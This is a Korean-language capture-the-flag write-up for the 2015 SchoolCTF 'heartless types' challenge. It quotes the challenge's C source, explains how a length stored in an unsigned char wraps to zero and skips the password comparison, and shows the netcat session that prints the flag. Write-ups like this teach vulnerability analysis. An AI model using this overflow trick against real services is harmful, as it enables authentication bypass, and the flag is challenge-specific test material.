[2015_schoolctf] [PWN] heartless types¶
문제에 C 파일이 하나 제공되는데, flag 와 stored_pass에는 *** 라고 되어 있지만 서버에는 정상적인 문자들이 들어가 있습니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char stored_pass[] = "***";
char flag[] = "***";
int main()
{
unsigned char password_len;
puts("Enter password len :");
scanf("%d\n", &password_len);
if (password_len == 0) {
puts("Password can't be 0 characters long");
return 1;
}
char *pass;
pass = malloc((int)password_len + 1);
int i;
for (i = 0; i < password_len; ++i) {
pass[i] = fgetc(stdin);
}
int stored_pass_len = strlen(stored_pass) + 1;
++password_len;
int min_len = (password_len < stored_pass_len) ? password_len : stored_pass_len; <--
for (i = 0; i < min_len; ++i) {
if (pass[i] != stored_pass[i]) {
puts("Wrong pass!");
return 1;
}
}
puts(flag);
return 0;
}
문제를 보면 사용자에게 "password 길이"를 정수로 받고, 해당 길이 만큼 한글자씩 입력 후 stored_pass 와 같은지 비교하여 다 맞으면 flag를 주고 하나라도 틀리면 Wrong pass! 를 출력합니다.
여기서 취약점은 min_len 에 있습니다.
for문의 횟 수가 password_len 또는 stored_pass_len 중에 더 작은 길이를 갖는 횟 수로 돌게 되는데, 이 때 password_len 의 타입이 unsigned char(0~255)이기 때문에 정수 오버플로우를 이용하여 password_len을 0 으로 만들 수 있고, passwrd_len 이 0 이기 때문에 for문은 돌지 않고 바로 flag를 출력하게 됩니다.
- 따라서, 입력 password length 를 255 (1바이트 갖는 최대 값)로 넣어 주고 254이상 아무 글자가
- 입력하면 ++password_len 때문에 255가 1 증가 하면서 0 이 되어 for문을 돌지 않고 바로 puts(flag)를 하게 됩니다.
$ nc sibears.ru 12013
Enter password len :
255
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Flag is thanks_god_we_got_not_only_binaries